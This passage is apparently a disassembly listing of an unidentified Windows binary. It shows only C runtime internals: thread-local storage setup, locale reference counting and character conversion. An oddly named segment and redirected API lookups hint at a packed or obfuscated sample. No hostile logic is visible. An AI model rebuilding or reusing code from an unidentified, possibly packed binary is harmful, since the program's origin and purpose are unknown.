		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40F2AB
		jmp	short loc_40F2DB
sub_40F14A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F2AB	proc near		; CODE XREF: sub_40F14A+15Ap
					; DATA XREF: ev73vtp2:00421B40o
		push	0Dh
		call	sub_40FDFF
		pop	ecx
		retn
sub_40F2AB	endp

; ---------------------------------------------------------------------------
		jmp	short loc_40F2DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F14A

loc_40F2B6:				; CODE XREF: sub_40F14A+6Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F2DB
		cmp	ebx, offset dword_423070
		jz	short loc_40F2CA
		push	ebx
		call	sub_40DBA6
		pop	ecx

loc_40F2CA:				; CODE XREF: sub_40F14A+177j
		call	sub_40FCB4
		mov	dword ptr [eax], 16h
		jmp	short loc_40F2DB
; ---------------------------------------------------------------------------

loc_40F2D7:				; CODE XREF: sub_40F14A+30j
		and	[ebp+var_20], 0

loc_40F2DB:				; CODE XREF: sub_40F14A+45j
					; sub_40F14A+A1j ...
		mov	eax, [ebp+var_20]
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_40F14A

; =============== S U B	R O U T	I N E =======================================



sub_40F2E4	proc near		; CODE XREF: sub_414E3F+Cp
					; sub_414E9C+Dp ...
		cmp	dword_434E14, 0
		jnz	short loc_40F2FF
		push	0FFFFFFFDh
		call	sub_40F14A
		pop	ecx
		mov	dword_434E14, 1

loc_40F2FF:				; CODE XREF: sub_40F2E4+7j
		xor	eax, eax
		retn
sub_40F2E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F302	proc near		; CODE XREF: sub_40F554+31p
					; sub_40F896+E8p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	eax, [esi+0BCh]
		xor	ebp, ebp
		cmp	eax, ebp
		push	edi
		jz	short loc_40F385
		cmp	eax, offset off_423F18
		jz	short loc_40F385
		mov	eax, [esi+0B0h]
		cmp	eax, ebp
		jz	short loc_40F385
		cmp	[eax], ebp
		jnz	short loc_40F385
		mov	eax, [esi+0B8h]
		cmp	eax, ebp
		jz	short loc_40F34C
		cmp	[eax], ebp
		jnz	short loc_40F34C
		push	eax
		call	sub_40DBA6
		push	dword ptr [esi+0BCh]
		call	sub_4169C4
		pop	ecx
		pop	ecx

loc_40F34C:				; CODE XREF: sub_40F302+31j
					; sub_40F302+35j
		mov	eax, [esi+0B4h]
		cmp	eax, ebp
		jz	short loc_40F36D
		cmp	[eax], ebp
		jnz	short loc_40F36D
		push	eax
		call	sub_40DBA6
		push	dword ptr [esi+0BCh]
		call	sub_416984
		pop	ecx
		pop	ecx

loc_40F36D:				; CODE XREF: sub_40F302+52j
					; sub_40F302+56j
		push	dword ptr [esi+0B0h]
		call	sub_40DBA6
		push	dword ptr [esi+0BCh]
		call	sub_40DBA6
		pop	ecx
		pop	ecx

loc_40F385:				; CODE XREF: sub_40F302+12j
					; sub_40F302+19j ...
		mov	eax, [esi+0C0h]
		cmp	eax, ebp
		jz	short loc_40F3D3
		cmp	[eax], ebp
		jnz	short loc_40F3D3
		mov	eax, [esi+0C4h]
		sub	eax, 0FEh
		push	eax
		call	sub_40DBA6
		mov	eax, [esi+0CCh]
		mov	edi, 80h
		sub	eax, edi
		push	eax
		call	sub_40DBA6
		mov	eax, [esi+0D0h]
		sub	eax, edi
		push	eax
		call	sub_40DBA6
		push	dword ptr [esi+0C0h]
		call	sub_40DBA6
		add	esp, 10h

loc_40F3D3:				; CODE XREF: sub_40F302+8Bj
					; sub_40F302+8Fj
		lea	edi, [esi+0D4h]
		mov	eax, [edi]
		cmp	eax, offset dword_423E58
		jz	short loc_40F3F9
		cmp	[eax+0B4h], ebp
		jnz	short loc_40F3F9
		push	eax
		call	sub_4167F4
		push	dword ptr [edi]
		call	sub_40DBA6
		pop	ecx
		pop	ecx

loc_40F3F9:				; CODE XREF: sub_40F302+DEj
					; sub_40F302+E6j
		push	6
		lea	edi, [esi+50h]
		pop	ebx

loc_40F3FF:				; CODE XREF: sub_40F302+132j
		cmp	dword ptr [edi-8], offset dword_423598
		jz	short loc_40F419
		mov	eax, [edi]
		cmp	eax, ebp
		jz	short loc_40F419
		cmp	[eax], ebp
		jnz	short loc_40F419
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_40F419:				; CODE XREF: sub_40F302+104j
					; sub_40F302+10Aj ...
		cmp	[edi-4], ebp
		jz	short loc_40F430
		mov	eax, [edi+4]
		cmp	eax, ebp
		jz	short loc_40F430
		cmp	[eax], ebp
		jnz	short loc_40F430
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_40F430:				; CODE XREF: sub_40F302+11Aj
					; sub_40F302+121j ...
		add	edi, 10h
		dec	ebx
		jnz	short loc_40F3FF
		push	esi
		call	sub_40DBA6
		pop	ecx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40F302	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F442	proc near		; CODE XREF: sub_40F554+12p
					; sub_40F747+93p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, ds:dword_41E194
		push	esi
		call	edi	; InterlockedIncrement
		mov	eax, [esi+0B0h]
		test	eax, eax
		jz	short loc_40F460
		push	eax
		call	edi	; InterlockedIncrement

loc_40F460:				; CODE XREF: sub_40F442+19j
		mov	eax, [esi+0B8h]
		test	eax, eax
		jz	short loc_40F46D
		push	eax
		call	edi	; InterlockedIncrement

loc_40F46D:				; CODE XREF: sub_40F442+26j
		mov	eax, [esi+0B4h]
		test	eax, eax
		jz	short loc_40F47A
		push	eax
		call	edi	; InterlockedIncrement

loc_40F47A:				; CODE XREF: sub_40F442+33j
		mov	eax, [esi+0C0h]
		test	eax, eax
		jz	short loc_40F487
		push	eax
		call	edi	; InterlockedIncrement

loc_40F487:				; CODE XREF: sub_40F442+40j
		push	6
		lea	ebx, [esi+50h]
		pop	ebp

loc_40F48D:				; CODE XREF: sub_40F442+71j
		cmp	dword ptr [ebx-8], offset dword_423598
		jz	short loc_40F49F
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40F49F
		push	eax
		call	edi	; InterlockedIncrement

loc_40F49F:				; CODE XREF: sub_40F442+52j
					; sub_40F442+58j
		cmp	dword ptr [ebx-4], 0
		jz	short loc_40F4AF
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_40F4AF
		push	eax
		call	edi	; InterlockedIncrement

loc_40F4AF:				; CODE XREF: sub_40F442+61j
					; sub_40F442+68j
		add	ebx, 10h
		dec	ebp
		jnz	short loc_40F48D
		mov	eax, [esi+0D4h]
		add	eax, 0B4h
		push	eax
		call	edi	; InterlockedIncrement
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40F442	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F4C8	proc near		; CODE XREF: sub_40F554+1Dp
					; sub_40F896+CCp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_40F550
		push	ebx
		push	ebp
		push	edi
		mov	edi, ds:dword_41E190
		push	esi
		call	edi	; InterlockedDecrement
		mov	eax, [esi+0B0h]
		test	eax, eax
		jz	short loc_40F4EA
		push	eax
		call	edi	; InterlockedDecrement

loc_40F4EA:				; CODE XREF: sub_40F4C8+1Dj
		mov	eax, [esi+0B8h]
		test	eax, eax
		jz	short loc_40F4F7
		push	eax
		call	edi	; InterlockedDecrement

loc_40F4F7:				; CODE XREF: sub_40F4C8+2Aj
		mov	eax, [esi+0B4h]
		test	eax, eax
		jz	short loc_40F504
		push	eax
		call	edi	; InterlockedDecrement

loc_40F504:				; CODE XREF: sub_40F4C8+37j
		mov	eax, [esi+0C0h]
		test	eax, eax
		jz	short loc_40F511
		push	eax
		call	edi	; InterlockedDecrement

loc_40F511:				; CODE XREF: sub_40F4C8+44j
		push	6
		lea	ebx, [esi+50h]
		pop	ebp

loc_40F517:				; CODE XREF: sub_40F4C8+75j
		cmp	dword ptr [ebx-8], offset dword_423598
		jz	short loc_40F529
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40F529
		push	eax
		call	edi	; InterlockedDecrement

loc_40F529:				; CODE XREF: sub_40F4C8+56j
					; sub_40F4C8+5Cj
		cmp	dword ptr [ebx-4], 0
		jz	short loc_40F539
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_40F539
		push	eax
		call	edi	; InterlockedDecrement

loc_40F539:				; CODE XREF: sub_40F4C8+65j
					; sub_40F4C8+6Cj
		add	ebx, 10h
		dec	ebp
		jnz	short loc_40F517
		mov	eax, [esi+0D4h]
		add	eax, 0B4h
		push	eax
		call	edi	; InterlockedDecrement
		pop	edi
		pop	ebp
		pop	ebx

loc_40F550:				; CODE XREF: sub_40F4C8+7j
		mov	eax, esi
		pop	esi
		retn
sub_40F4C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F554	proc near		; CODE XREF: sub_40F592+54p
		test	edi, edi
		jz	short loc_40F58F
		test	eax, eax
		jz	short loc_40F58F
		push	esi
		mov	esi, [eax]
		cmp	esi, edi
		jz	short loc_40F58B
		push	edi
		mov	[eax], edi
		call	sub_40F442
		test	esi, esi
		pop	ecx
		jz	short loc_40F58B
		push	esi
		call	sub_40F4C8
		cmp	dword ptr [esi], 0
		pop	ecx
		jnz	short loc_40F58B
		cmp	esi, offset dword_4235A0
		jz	short loc_40F58B
		push	esi
		call	sub_40F302
		pop	ecx

loc_40F58B:				; CODE XREF: sub_40F554+Dj
					; sub_40F554+1Aj ...
		mov	eax, edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40F58F:				; CODE XREF: sub_40F554+2j
					; sub_40F554+6j
		xor	eax, eax
		retn
sub_40F554	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F592	proc near		; CODE XREF: sub_40AFFD+37p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_421B48
		call	__SEH_prolog4
		call	sub_40F87E
		mov	esi, eax
		mov	eax, dword_423594
		test	[esi+70h], eax
		jz	short loc_40F5D1
		cmp	dword ptr [esi+6Ch], 0
		jz	short loc_40F5D1
		call	sub_40F87E
		mov	esi, [eax+6Ch]

loc_40F5BD:				; CODE XREF: sub_40F592+68j
		test	esi, esi
		jnz	short loc_40F5C9
		push	20h
		call	sub_411FAD
		pop	ecx

loc_40F5C9:				; CODE XREF: sub_40F592+2Dj
		mov	eax, esi
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_40F5D1:				; CODE XREF: sub_40F592+1Bj
					; sub_40F592+21j
		push	0Ch
		call	sub_40FED7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		lea	eax, [esi+6Ch]
		mov	edi, off_423678
		call	sub_40F554
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40F5FC
		jmp	short loc_40F5BD
sub_40F592	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F5FC	proc near		; CODE XREF: sub_40F592+63p
					; DATA XREF: ev73vtp2:00421B60o
		push	0Ch
		call	sub_40FDFF
		pop	ecx
		mov	esi, [ebp-1Ch]
		retn
sub_40F5FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F608	proc near		; CODE XREF: sub_40D0EE+81p
					; sub_40D0EE+96p ...

arg_0		= dword	ptr  4

		push	esi
		push	dword_42368C
		mov	esi, ds:dword_41E184
		call	esi	; TlsGetValue
		test	eax, eax
		jz	short loc_40F63C
		mov	eax, dword_423688
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F63C
		push	eax
		push	dword_42368C
		call	esi	; TlsGetValue
		call	eax
		test	eax, eax
		jz	short loc_40F63C
		mov	eax, [eax+1F8h]
		jmp	short loc_40F657
; ---------------------------------------------------------------------------

loc_40F63C:				; CODE XREF: sub_40F608+11j
					; sub_40F608+1Bj ...
		push	offset aKernel32_dll_0 ; "KERNEL32.DLL"
		call	ds:dword_41E0E8	; GetModuleHandleA
		test	eax, eax
		jz	short loc_40F665
		push	offset aEncodepointer ;	"EncodePointer"
		push	eax
		call	ds:off_41E0F0

loc_40F657:				; CODE XREF: sub_40F608+32j
		test	eax, eax
		jz	short loc_40F665
		push	[esp+4+arg_0]
		call	eax
		mov	[esp+4+arg_0], eax

loc_40F665:				; CODE XREF: sub_40F608+41j
					; sub_40F608+51j
		mov	eax, [esp+4+arg_0]
		pop	esi
		retn
sub_40F608	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F66B	proc near		; CODE XREF: sub_412269+1p
					; sub_415BD0+2Fp ...
		push	0
		call	sub_40F608
		pop	ecx
		retn
sub_40F66B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F674	proc near		; CODE XREF: sub_40D0EE+Bp
					; sub_40D0EE+1Cp ...

arg_0		= dword	ptr  4

		push	esi
		push	dword_42368C
		mov	esi, ds:dword_41E184
		call	esi	; TlsGetValue
		test	eax, eax
		jz	short loc_40F6A8
		mov	eax, dword_423688
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F6A8
		push	eax
		push	dword_42368C
		call	esi	; TlsGetValue
		call	eax
		test	eax, eax
		jz	short loc_40F6A8
		mov	eax, [eax+1FCh]
		jmp	short loc_40F6C3
; ---------------------------------------------------------------------------

loc_40F6A8:				; CODE XREF: sub_40F674+11j
					; sub_40F674+1Bj ...
		push	offset aKernel32_dll_0 ; "KERNEL32.DLL"
		call	ds:dword_41E0E8	; GetModuleHandleA
		test	eax, eax
		jz	short loc_40F6D1
		push	offset aDecodepointer ;	"DecodePointer"
		push	eax
		call	ds:off_41E0F0

loc_40F6C3:				; CODE XREF: sub_40F674+32j
		test	eax, eax
		jz	short loc_40F6D1
		push	[esp+4+arg_0]
		call	eax
		mov	[esp+4+arg_0], eax

loc_40F6D1:				; CODE XREF: sub_40F674+41j
					; sub_40F674+51j
		mov	eax, [esp+4+arg_0]
		pop	esi
		retn
sub_40F674	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F6D7	proc near		; DATA XREF: sub_40F9B7+8Ao
					; .data:off_425E64o
		call	ds:dword_41E180	; TlsAlloc
		retn	4
sub_40F6D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F6E0	proc near		; CODE XREF: sub_40F7FB+Ap
		push	dword_42368C
		call	ds:dword_41E184	; TlsGetValue
		test	eax, eax
		jnz	short locret_40F709
		push	off_425E68
		call	sub_40F674
		pop	ecx
		push	eax
		push	dword_42368C
		call	ds:dword_41E17C	; TlsSetValue

locret_40F709:				; CODE XREF: sub_40F6E0+Ej
		retn
sub_40F6E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F70A	proc near		; CODE XREF: sub_40F9B7+12p
					; sub_40F9B7:loc_40FB31p
		mov	eax, dword_423688
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F72A
		push	eax
		push	off_425E70
		call	sub_40F674
		pop	ecx
		call	eax
		or	dword_423688, 0FFFFFFFFh

loc_40F72A:				; CODE XREF: sub_40F70A+8j
		mov	eax, dword_42368C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F742
		push	eax
		call	ds:off_41E178
		or	dword_42368C, 0FFFFFFFFh

loc_40F742:				; CODE XREF: sub_40F70A+28j
		jmp	sub_40FDAA
sub_40F70A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F747	proc near		; CODE XREF: sub_40F7FB+59p
					; sub_40F9B7+162p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	0Ch
		push	offset dword_421B68
		call	__SEH_prolog4
		push	offset aKernel32_dll_0 ; "KERNEL32.DLL"
		call	ds:dword_41E0E8	; GetModuleHandleA
		mov	[ebp+var_1C], eax
		mov	esi, [ebp+arg_0]
		mov	dword ptr [esi+5Ch], offset dword_423DA0
		xor	edi, edi
		inc	edi
		mov	[esi+14h], edi
		test	eax, eax
		jz	short loc_40F799
		push	offset aEncodepointer ;	"EncodePointer"
		push	eax
		mov	ebx, ds:off_41E0F0
		call	ebx ; sub_4372E5
		mov	[esi+1F8h], eax
		push	offset aDecodepointer ;	"DecodePointer"
		push	[ebp+var_1C]
		call	ebx ; sub_4372E5
		mov	[esi+1FCh], eax

loc_40F799:				; CODE XREF: sub_40F747+2Cj
		mov	[esi+70h], edi
		mov	byte ptr [esi+0C8h], 43h
		mov	byte ptr [esi+14Bh], 43h
		mov	eax, offset dword_423070
		mov	[esi+68h], eax
		push	eax
		call	ds:dword_41E194	; InterlockedIncrement
		push	0Ch
		call	sub_40FED7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+arg_4]
		mov	[esi+6Ch], eax
		test	eax, eax
		jnz	short loc_40F7D7
		mov	eax, off_423678
		mov	[esi+6Ch], eax

loc_40F7D7:				; CODE XREF: sub_40F747+86j
		push	dword ptr [esi+6Ch]
		call	sub_40F442
		pop	ecx
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40F7F2
		call	__SEH_epilog4
		retn
sub_40F747	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F7F2	proc near		; CODE XREF: sub_40F747+A0p
					; DATA XREF: ev73vtp2:00421B80o
		push	0Ch
		call	sub_40FDFF
		pop	ecx
		retn
sub_40F7F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F7FB	proc near		; CODE XREF: sub_40F87E+1p sub_40FCB4p ...
		push	esi
		push	edi
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		mov	edi, eax
		call	sub_40F6E0
		push	dword_423688
		push	dword_42368C
		call	ds:dword_41E184	; TlsGetValue
		call	eax
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F872
		push	214h
		push	1
		call	sub_411ECA
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_40F872
		push	esi
		push	dword_423688
		push	off_425E6C
		call	sub_40F674
		pop	ecx
		call	eax
		test	eax, eax
		jz	short loc_40F869
		push	0
		push	esi
		call	sub_40F747
		pop	ecx
		pop	ecx
		call	ds:dword_41E0E4	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		jmp	short loc_40F872
; ---------------------------------------------------------------------------

loc_40F869:				; CODE XREF: sub_40F7FB+54j
		push	esi
		call	sub_40DBA6
		pop	ecx
		xor	esi, esi

loc_40F872:				; CODE XREF: sub_40F7FB+27j
					; sub_40F7FB+3Bj ...
		push	edi
		call	ds:dword_41E174	; RtlRestoreLastWin32Error
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_40F7FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F87E	proc near		; CODE XREF: sub_40AFFD+Fp sub_40D8F9p ...
		push	esi
		call	sub_40F7FB
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F892
		push	10h
		call	sub_411FAD
		pop	ecx

loc_40F892:				; CODE XREF: sub_40F87E+Aj
		mov	eax, esi
		pop	esi
		retn
sub_40F87E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F896	proc near		; DATA XREF: sub_40F9B7+115o

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_421B88
		call	__SEH_prolog4
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	loc_40F997
		mov	eax, [esi+24h]
		test	eax, eax
		jz	short loc_40F8BB
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_40F8BB:				; CODE XREF: sub_40F896+1Cj
		mov	eax, [esi+2Ch]
		test	eax, eax
		jz	short loc_40F8C9
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_40F8C9:				; CODE XREF: sub_40F896+2Aj
		mov	eax, [esi+34h]
		test	eax, eax
		jz	short loc_40F8D7
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_40F8D7:				; CODE XREF: sub_40F896+38j
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_40F8E5
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_40F8E5:				; CODE XREF: sub_40F896+46j
		mov	eax, [esi+44h]
		test	eax, eax
		jz	short loc_40F8F3
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_40F8F3:				; CODE XREF: sub_40F896+54j
		mov	eax, [esi+48h]
		test	eax, eax
		jz	short loc_40F901
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_40F901:				; CODE XREF: sub_40F896+62j
		mov	eax, [esi+5Ch]
		cmp	eax, offset dword_423DA0
		jz	short loc_40F912
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_40F912:				; CODE XREF: sub_40F896+73j
		push	0Dh
		call	sub_40FED7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [esi+68h]
		test	edi, edi
		jz	short loc_40F93F
		push	edi
		call	ds:dword_41E190	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_40F93F
		cmp	edi, offset dword_423070
		jz	short loc_40F93F
		push	edi
		call	sub_40DBA6
		pop	ecx

loc_40F93F:				; CODE XREF: sub_40F896+8Dj
					; sub_40F896+98j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40F9A2
		push	0Ch
		call	sub_40FED7
		pop	ecx
		mov	[ebp+ms_exc.disabled], 1
		mov	edi, [esi+6Ch]
		test	edi, edi
		jz	short loc_40F984
		push	edi
		call	sub_40F4C8
		pop	ecx
		cmp	edi, off_423678
		jz	short loc_40F984
		cmp	edi, offset dword_4235A0
		jz	short loc_40F984
		cmp	dword ptr [edi], 0
		jnz	short loc_40F984
		push	edi
		call	sub_40F302
		pop	ecx

loc_40F984:				; CODE XREF: sub_40F896+C9j
					; sub_40F896+D8j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40F9AE
		push	esi
		call	sub_40DBA6
		pop	ecx

loc_40F997:				; CODE XREF: sub_40F896+11j
		call	__SEH_epilog4
		retn	4
sub_40F896	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_40F9A2	proc near		; CODE XREF: sub_40F896+B0p
		push	0Dh
		call	sub_40FDFF
		pop	ecx
		retn
sub_40F9A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F9AB	proc near		; DATA XREF: ev73vtp2:00421BACo
		mov	esi, [ebp+8]
sub_40F9AB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F9AE	proc near		; CODE XREF: sub_40F896+F5p
		push	0Ch
		call	sub_40FDFF
		pop	ecx
		retn
sub_40F9AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F9B7	proc near		; CODE XREF: .text:loc_40E595p
		push	edi
		push	offset aKernel32_dll_0 ; "KERNEL32.DLL"
		call	ds:dword_41E0E8	; GetModuleHandleA
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F9D2
		call	sub_40F70A
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40F9D2:				; CODE XREF: sub_40F9B7+10j
		push	esi
		mov	esi, ds:off_41E0F0
		push	offset dword_41E4C4
		push	edi
		call	esi ; sub_4372E5
		push	offset aFlsgetvalue ; "FlsGetValue"
		push	edi
		mov	off_425E64, eax
		call	esi ; sub_4372E5
		push	offset aFlssetvalue ; "FlsSetValue"
		push	edi
		mov	off_425E68, eax
		call	esi ; sub_4372E5
		push	offset aFlsfree	; "FlsFree"
		push	edi
		mov	off_425E6C, eax
		call	esi ; sub_4372E5
		cmp	off_425E64, 0
		mov	esi, ds:dword_41E17C
		mov	off_425E70, eax
		jz	short loc_40FA32
		cmp	off_425E68, 0
		jz	short loc_40FA32
		cmp	off_425E6C, 0
		jz	short loc_40FA32
		test	eax, eax
		jnz	short loc_40FA56

loc_40FA32:				; CODE XREF: sub_40F9B7+63j
					; sub_40F9B7+6Cj ...
		mov	eax, ds:dword_41E184
		mov	off_425E68, eax
		mov	eax, ds:off_41E178
		mov	off_425E64, offset sub_40F6D7
		mov	off_425E6C, esi
		mov	off_425E70, eax

loc_40FA56:				; CODE XREF: sub_40F9B7+79j
		call	ds:dword_41E180	; TlsAlloc
		cmp	eax, 0FFFFFFFFh
		mov	dword_42368C, eax
		jz	loc_40FB36
		push	off_425E68
		push	eax
		call	esi	; TlsSetValue
		test	eax, eax
		jz	loc_40FB36
		call	sub_412269
		push	off_425E64
		call	sub_40F608
		push	off_425E68
		mov	off_425E64, eax
		call	sub_40F608
		push	off_425E6C
		mov	off_425E68, eax
		call	sub_40F608
		push	off_425E70
		mov	off_425E6C, eax
		call	sub_40F608
		add	esp, 10h
		mov	off_425E70, eax
		call	sub_40FD61
		test	eax, eax
		jz	short loc_40FB31
		push	offset sub_40F896
		push	off_425E64
		call	sub_40F674
		pop	ecx
		call	eax	; TlsGetValue
		cmp	eax, 0FFFFFFFFh
		mov	dword_423688, eax
		jz	short loc_40FB31
		push	214h
		push	1
		call	sub_411ECA
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_40FB31
		push	esi
		push	dword_423688
		push	off_425E6C
		call	sub_40F674
		pop	ecx
		call	eax	; TlsGetValue
		test	eax, eax
		jz	short loc_40FB31
		push	0
		push	esi
		call	sub_40F747
		pop	ecx
		pop	ecx
		call	ds:dword_41E0E4	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		xor	eax, eax
		inc	eax
		jmp	short loc_40FB38
; ---------------------------------------------------------------------------

loc_40FB31:				; CODE XREF: sub_40F9B7+113j
					; sub_40F9B7+130j ...
		call	sub_40F70A

loc_40FB36:				; CODE XREF: sub_40F9B7+ADj
					; sub_40F9B7+BEj
		xor	eax, eax

loc_40FB38:				; CODE XREF: sub_40F9B7+178j
		pop	esi
		pop	edi
		retn
sub_40F9B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FB3B	proc near		; CODE XREF: sub_40B0B4+9Bp
					; sub_40B0B4+ADp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_18]
		call	sub_40AFFD
		mov	ebx, [ebp+arg_0]
		mov	esi, 100h
		cmp	ebx, esi
		jnb	short loc_40FBAE
		mov	ecx, [ebp+var_18]
		cmp	dword ptr [ecx+0ACh], 1
		jle	short loc_40FB7A
		lea	eax, [ebp+var_18]
		push	eax
		push	1
		push	ebx
		call	sub_416D04
		mov	ecx, [ebp+var_18]
		add	esp, 0Ch
		jmp	short loc_40FB87
; ---------------------------------------------------------------------------

loc_40FB7A:				; CODE XREF: sub_40FB3B+29j
		mov	eax, [ecx+0C8h]
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, 1

loc_40FB87:				; CODE XREF: sub_40FB3B+3Dj
		test	eax, eax
		jz	short loc_40FB9A
		mov	eax, [ecx+0CCh]
		movzx	eax, byte ptr [eax+ebx]
		jmp	loc_40FC41
; ---------------------------------------------------------------------------

loc_40FB9A:				; CODE XREF: sub_40FB3B+4Ej
					; sub_40FB3B+EAj
		cmp	[ebp+var_C], 0
		jz	short loc_40FBA7
		mov	eax, [ebp+var_10]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40FBA7:				; CODE XREF: sub_40FB3B+63j
		mov	eax, ebx
		jmp	loc_40FC4E
; ---------------------------------------------------------------------------

loc_40FBAE:				; CODE XREF: sub_40FB3B+1Dj
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_40FBEB
		mov	[ebp+arg_0], ebx
		sar	[ebp+arg_0], 8
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		push	eax
		call	sub_416CC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40FBEB
		mov	al, byte ptr [ebp+arg_0]
		push	2
		mov	[ebp+var_4], al
		mov	[ebp+var_3], bl
		mov	[ebp+var_2], 0
		pop	ecx
		jmp	short loc_40FC00
; ---------------------------------------------------------------------------

loc_40FBEB:				; CODE XREF: sub_40FB3B+7Dj
					; sub_40FB3B+9Cj
		call	sub_40FCB4
		mov	dword ptr [eax], 2Ah
		xor	ecx, ecx
		mov	[ebp+var_4], bl
		mov	[ebp+var_3], 0
		inc	ecx

loc_40FC00:				; CODE XREF: sub_40FB3B+AEj
		mov	eax, [ebp+var_18]
		push	1
		push	dword ptr [eax+4]
		lea	edx, [ebp+var_8]
		push	3
		push	edx
		push	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4165B9
		add	esp, 24h
		test	eax, eax
		jz	loc_40FB9A
		cmp	eax, 1
		jnz	short loc_40FC36
		movzx	eax, [ebp+var_8]
		jmp	short loc_40FC41
; ---------------------------------------------------------------------------

loc_40FC36:				; CODE XREF: sub_40FB3B+F3j
		movzx	ecx, [ebp+var_7]
		xor	eax, eax
		mov	ah, [ebp+var_8]
		or	eax, ecx

